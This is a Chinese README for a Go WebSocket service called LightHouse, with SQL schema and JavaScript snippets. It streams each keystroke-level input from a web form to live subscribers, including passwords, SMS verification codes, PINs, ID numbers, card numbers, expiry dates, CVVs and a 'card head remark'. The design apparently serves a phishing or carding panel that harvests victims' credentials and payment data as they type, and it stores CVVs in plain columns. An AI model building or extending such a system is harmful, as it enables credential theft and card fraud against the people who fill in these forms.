# LightHouse WebSocket 系统增强说明 ## 概述 本次更新对 LightHouse 系统的 WebSocket 功能进行了全面增强,支持更完整的用户行为信息记录,包括用户基本信息、地址信息、信用卡信息、登录时间、登录IP等。 ## 主要改进 ### 1. 数据模型扩展 #### 新增字段结构 - **用户基本信息**: 姓名、电话、邮箱、身份证号 - **登录信息**: 用户名、密码、验证码、PIN码、登录时间、登录IP、用户代理 - **地址信息**: 国家、省份、城市、详细地址、邮政编码 - **信用卡信息**: 卡号、卡类型、持卡人姓名、有效期、CVV、备注 - **系统信息**: 用户状态 - **自定义信息**: 5个自定义字段 #### 数据库字段映射 ```sql -- 用户基本信息 name VARCHAR(100) -- 姓名 phone VARCHAR(20) -- 电话 email VARCHAR(255) -- 邮箱 id_card VARCHAR(18) -- 身份证号 -- 登录信息 username VARCHAR(255) -- 用户名 password VARCHAR(255) -- 密码 verify_code VARCHAR(255) -- 验证码 pin VARCHAR(255) -- PIN码 login_time TIMESTAMP -- 登录时间 login_ip VARCHAR(45) -- 登录IP user_agent TEXT -- 用户代理 -- 地址信息 country VARCHAR(100) -- 国家 state VARCHAR(100) -- 省份/州 city VARCHAR(100) -- 城市 address TEXT -- 详细地址 zip_code VARCHAR(20) -- 邮政编码 -- 信用卡信息 card_number VARCHAR(255) -- 卡号 card_type VARCHAR(50) -- 卡类型 card_holder_name VARCHAR(100) -- 持卡人姓名 expiry_date VARCHAR(10) -- 有效期 cvv VARCHAR(10) -- CVV card_remark VARCHAR(255) -- 卡头备注 -- 系统信息 status VARCHAR(255) -- 用户状态 -- 自定义信息 custom_field1 VARCHAR(255) -- 自定义字段1 custom_field2 VARCHAR(255) -- 自定义字段2 custom_field3 VARCHAR(255) -- 自定义字段3 custom_field4 VARCHAR(255) -- 自定义字段4 custom_field5 VARCHAR(255) -- 自定义字段5 ``` ### 2. WebSocket 行为类型扩展 #### 用户基本信息行为 - `input_name` - 输入姓名 - `input_phone` - 输入电话 - `input_email` - 输入邮箱 - `input_id_card` - 输入身份证号 #### 登录信息行为 - `login` - 登录行为(自动记录时间、IP、User-Agent) - `input_username` - 输入用户名 - `input_password` - 输入密码 - `input_verify_code` - 输入验证码 - `input_pin` - 输入PIN码 #### 地址信息行为 - `input_address_country` - 输入国家 - `input_address_state` - 输入省份/州 - `input_address_city` - 输入城市 - `input_address_detail` - 输入详细地址 - `input_address_zip` - 输入邮政编码 #### 信用卡信息行为 - `input_card_number` - 输入卡号 - `input_card_type` - 输入卡类型 - `input_card_holder` - 输入持卡人姓名 - `input_card_expiry` - 输入有效期 - `input_card_cvv` - 输入CVV - `input_card_remark` - 输入卡头备注 #### 自定义字段行为 - `input_custom_field1` - 输入自定义字段1 - `input_custom_field2` - 输入自定义字段2 - `input_custom_field3` - 输入自定义字段3 - `input_custom_field4` - 输入自定义字段4 - `input_custom_field5` - 输入自定义字段5 #### 状态变更行为 - `complete_registration` - 完成注册 - `complete_payment` - 完成支付 - `session_start` - 会话开始 - `session_end` - 会话结束 ### 3. 自动信息收集 #### 登录时自动记录 当发送 `login` 类型消息时,系统会自动记录: - 当前时间作为登录时间 - 客户端IP地址 - User-Agent 信息 #### 实时广播 所有用户行为都会实时广播给所有订阅端,支持多客户端监控。 ## 使用方法 ### 1. 启动服务 确保 LightHouse 服务正在运行: ```bash go run main.go ``` ### 2. 连接 WebSocket #### 发布端连接 ```javascript const wsPub = new WebSocket('ws://localhost:8080/ws/pub/userinfo'); ``` #### 订阅端连接 ```javascript const wsSub = new WebSocket('ws://localhost:8080/ws/sub/userinfo'); ``` ### 3. 发送用户行为 #### 基本格式 ```json { "type": "行为类型", "uuid": "用户唯一标识", "status": "状态描述", "payload": { "字段名": "字段值" } } ``` #### 示例:完整用户注册流程 ```javascript // 1. 用户登录 wsPub.send(JSON.stringify({ type: 'login', uuid: 'user123', status: '用户正在登录', payload: {} })); // 2. 输入基本信息 wsPub.send(JSON.stringify({ type: 'input_name', uuid: 'user123', status: '正在输入姓名', payload: { name: '张三' } })); wsPub.send(JSON.stringify({ type: 'input_phone', uuid: 'user123', status: '正在输入电话', payload: { phone: '13800138000' } })); // 3. 输入地址信息 wsPub.send(JSON.stringify({ type: 'input_address_country', uuid: 'user123', status: '正在输入国家', payload: { country: '中国' } })); // 4. 输入信用卡信息 wsPub.send(JSON.stringify({ type: 'input_card_number', uuid: 'user123', status: '正在输入卡号', payload: { card_number: '1234567890123456' } })); // 5. 完成注册 wsPub.send(JSON.stringify({ type: 'complete_registration', uuid: 'user123', status: '注册完成', payload: {} })); ``` ### 4. 监控用户行为 #### 订阅端监听 ```javascript wsSub.onmessage = function(event) { const data = JSON.parse(event.data); switch(data.type) { case 'login': console.log('用户登录:', data.uuid, 'IP:', data.login_ip); break; case 'input_card_number': console.log('用户输入卡号:', data.payload.card_number); break; case 'complete_registration': console.log('用户完成注册:', data.uuid); break; } }; ``` ## 测试 ### 运行测试脚本 ```bash # 安装依赖 npm install ws # 运行测试 node test_websocket.js ``` 测试脚本会: 1. 连接发布端和订阅端 2. 发送各种类型的用户行为消息 3. 验证消息是否正确接收和处理 4. 自动关闭连接 ### 测试覆盖范围 - ✅ 用户基本信息输入 - ✅ 登录信息输入 - ✅ 地址信息输入 - ✅ 信用卡信息输入 - ✅ 自定义字段输入 - ✅ 状态变更通知 - ✅ 实时广播功能 ## 数据库迁移 ### 自动迁移 系统使用 GORM 自动迁移功能,启动时会自动创建或更新数据库表结构。 ### 手动迁移(如果需要) ```sql -- 添加新字段(如果表已存在) ALTER TABLE user_infos ADD COLUMN name VARCHAR(100); ALTER TABLE user_infos ADD COLUMN phone VARCHAR(20); ALTER TABLE user_infos ADD COLUMN email VARCHAR(255); ALTER TABLE user_infos ADD COLUMN id_card VARCHAR(18); -- ... 其他字段 ``` ## 安全注意事项 1. **敏感信息保护**: 密码、卡号等敏感信息会存储在数据库中,请确保数据库安全 2. **UUID唯一性**: 确保每个用户使用唯一的UUID标识 3. **输入验证**: 客户端应验证输入数据的格式和有效性 4. **连接安全**: 生产环境建议使用WSS(WebSocket Secure) 5. **访问控制**: 考虑添加身份验证和授权机制 ## 性能优化 1. **连接池管理**: 系统自动管理WebSocket连接池 2. **消息缓冲**: 使用缓冲通道避免消息丢失 3. **并发处理**: 支持多客户端并发连接 4. **数据库优化**: 使用索引优化查询性能 ## 故障排除 ### 常见问题 1. **连接失败** - 检查服务是否启动 - 确认端口是否正确 - 检查防火墙设置 2. **消息未接收** - 确认订阅端已连接 - 检查消息格式是否正确 - 查看服务日志 3. **数据未保存** - 检查数据库连接 - 确认数据库权限 - 查看错误日志 ### 日志查看 ```bash # 查看服务日志 tail -f logs/light_house.log ``` ## 扩展开发 ### 添加新的行为类型 1. 在 `internal/handler/ws.go` 中添加新的 case 分支 2. 在模型中添加对应字段(如果需要) 3. 更新DAO层的更新方法 4. 更新文档和测试 ### 自定义字段使用 系统提供了5个自定义字段,可以根据业务需求灵活使用: - `custom_field1` - `custom_field5` ## 联系支持 如有问题或建议,请联系开发团队或提交Issue。